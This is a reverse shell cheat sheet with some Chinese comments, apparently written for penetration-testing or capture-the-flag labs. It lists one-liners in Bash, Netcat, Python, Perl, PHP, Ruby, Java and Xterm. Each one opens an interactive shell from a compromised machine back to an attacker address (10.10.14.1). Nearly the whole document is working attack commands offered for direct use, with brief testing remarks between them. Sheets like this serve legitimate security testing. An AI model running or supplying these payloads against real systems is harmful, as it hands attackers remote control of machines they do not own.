Reverse Shell Cheat Sheet

Bash

Tested on Ubuntu 10.10

/bin/bash -i >& /dev/tcp/10.10.14.1/4444 0>&1

Netcat

常见版本

# Linux
nc -e /bin/sh 10.10.14.1 4444
# Windows
nc -e cmd.exe 10.10.14.1 4444

Netcat-openbsd 版不支持 -e，这时候用下面的。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.1 4444 >/tmp/f

Python 2.7

Tested under Linux / Python 2.7

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl

perl -e 'use Socket;$i="10.10.14.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP

This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.10.14.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.10.14.1",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java

没测过。

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Xterm

One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.10.14.1) on TCP port 6001.

xterm -display 10.10.14.1:1

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip
